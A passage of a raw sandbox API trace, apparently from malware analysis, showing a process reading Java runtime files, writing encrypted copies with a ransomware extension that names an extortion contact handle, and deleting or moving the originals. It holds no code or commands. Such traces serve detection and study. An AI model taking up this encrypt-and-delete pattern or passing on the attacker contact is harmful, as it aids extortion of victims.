lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x102, lpOverlapped=0x0) returned 1 [0247.552] CloseHandle (hObject=0x398) returned 1 [0247.553] CloseHandle (hObject=0x374) returned 1 [0247.555] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties")) returned 0 [0247.555] SetEvent (hEvent=0x2b8) returned 1 [0247.556] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0247.561] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=3998) returned 1 [0247.561] CloseHandle (hObject=0x374) returned 1 [0247.561] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access")) returned 0x20 [0247.561] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access")) returned 0x20 [0247.561] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0247.561] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0247.562] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0247.562] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0247.562] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x398 [0247.565] ReadFile (in: hFile=0x374, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0xf9e, lpOverlapped=0x0) returned 1 [0247.567] WriteFile (in: hFile=0x398, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xfa0, lpOverlapped=0x0) returned 1 [0247.569] WriteFile (in: hFile=0x398, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x102, lpOverlapped=0x0) returned 1 [0247.570] CloseHandle (hObject=0x374) returned 1 [0247.570] CloseHandle (hObject=0x398) returned 1 [0247.572] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access")) returned 0 [0247.573] SetEvent (hEvent=0x2b8) returned 1 [0247.573] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0247.575] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2856) returned 1 [0247.575] CloseHandle (hObject=0x398) returned 1 [0247.575] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template")) returned 0x20 [0247.575] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template")) returned 0x20 [0247.575] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0247.576] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0247.576] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0247.576] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0247.576] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x374 [0247.580] ReadFile (in: hFile=0x398, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0xb28, lpOverlapped=0x0) returned 1 [0247.582] WriteFile (in: hFile=0x374, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xb30, lpOverlapped=0x0) returned 1 [0247.584] WriteFile (in: hFile=0x374, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x112, lpOverlapped=0x0) returned 1 [0247.584] CloseHandle (hObject=0x398) returned 1 [0247.607] CloseHandle (hObject=0x374) returned 1 [0247.806] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template")) returned 0 [0247.806] SetEvent (hEvent=0x2b8) returned 1 [0247.808] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0247.809] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=14630) returned 1 [0247.809] CloseHandle (hObject=0x374) returned 1 [0247.809] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties")) returned 0x20 [0247.810] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties")) returned 0x20 [0247.810] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0247.810] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0247.810] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0247.811] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0247.811] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x394 [0247.814] ReadFile (in: hFile=0x374, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x3926, lpOverlapped=0x0) returned 1 [0247.820] WriteFile (in: hFile=0x394, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x3930, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x3930, lpOverlapped=0x0) returned 1 [0247.822] WriteFile (in: hFile=0x394, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x102, lpOverlapped=0x0) returned 1 [0247.822] CloseHandle (hObject=0x374) returned 1 [0247.822] CloseHandle (hObject=0x394) returned 1 [0247.829] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties")) returned 0 [0247.830] SetEvent (hEvent=0x2b8) returned 1 [0247.830] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0247.831] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=3376) returned 1 [0247.831] CloseHandle (hObject=0x394) returned 1 [0247.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template")) returned 0x20 [0247.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template")) returned 0x20 [0247.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0247.832] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0247.832] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0247.833] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0247.833] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x374 [0247.833] ReadFile (in: hFile=0x394, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0xd30, lpOverlapped=0x0) returned 1 [0247.836] WriteFile (in: hFile=0x374, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xd40, lpOverlapped=0x0) returned 1 [0247.838] WriteFile (in: hFile=0x374, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x102, lpOverlapped=0x0) returned 1 [0247.838] CloseHandle (hObject=0x394) returned 1 [0247.838] CloseHandle (hObject=0x374) returned 1 [0247.840] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template")) returned 0 [0247.840] SetEvent (hEvent=0x2b8) returned 1 [0247.841] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0247.842] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=381) returned 1 [0247.842] CloseHandle (hObject=0x374) returned 1 [0247.842] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar")) returned 0x20 [0247.842] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar")) returned 0x20 [0247.842] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0247.843] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0248.050] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0248.050] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0248.050] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x398 [0248.051] ReadFile (in: hFile=0x374, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x17d, lpOverlapped=0x0) returned 1 [0248.052] WriteFile (in: hFile=0x398, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x180, lpOverlapped=0x0) returned 1 [0248.054] WriteFile (in: hFile=0x398, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x102, lpOverlapped=0x0) returned 1 [0248.055] CloseHandle (hObject=0x374) returned 1 [0248.055] CloseHandle (hObject=0x398) returned 1 [0248.059] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar")) returned 0 [0248.060] SetEvent (hEvent=0x2b8) returned 1 [0248.060] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0248.061] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2126) returned 1 [0248.061] CloseHandle (hObject=0x398) returned 1 [0248.061] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index")) returned 0x20 [0248.061] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index")) returned 0x20 [0248.061] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0248.062] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0248.062] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0248.062] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0248.062] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x374 [0248.064] ReadFile (in: hFile=0x398, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x84e, lpOverlapped=0x0) returned 1 [0248.066] WriteFile (in: hFile=0x374, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x850, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x850, lpOverlapped=0x0) returned 1 [0248.068] WriteFile (in: hFile=0x374, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0248.068] CloseHandle (hObject=0x398) returned 1 [0248.068] CloseHandle (hObject=0x374) returned 1 [0248.070] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index")) returned 0 [0248.070] SetEvent (hEvent=0x2b8) returned 1 [0248.070] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0248.071] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=4464) returned 1 [0248.071] CloseHandle (hObject=0x374) returned 1 [0248.071] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties")) returned 0x20 [0248.071] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties")) returned 0x20 [0248.072] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0248.072] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0248.072] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0248.072] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0248.072] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x398 [0248.075] ReadFile (in: hFile=0x374, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x1170, lpOverlapped=0x0) returned 1 [0248.077] WriteFile (in: hFile=0x398, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x1180, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x1180, lpOverlapped=0x0) returned 1 [0248.079] WriteFile (in: hFile=0x398, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0248.079] CloseHandle (hObject=0x374) returned 1 [0248.079] CloseHandle (hObject=0x398) returned 1 [0248.082] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties")) returned 0 [0248.082] SetEvent (hEvent=0x2b8) returned 1 [0248.082] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0248.083] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=1923211) returned 1 [0248.083] CloseHandle (hObject=0x398) returned 1 [0248.084] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar")) returned 0x20 [0248.084] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0 [0248.084] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program 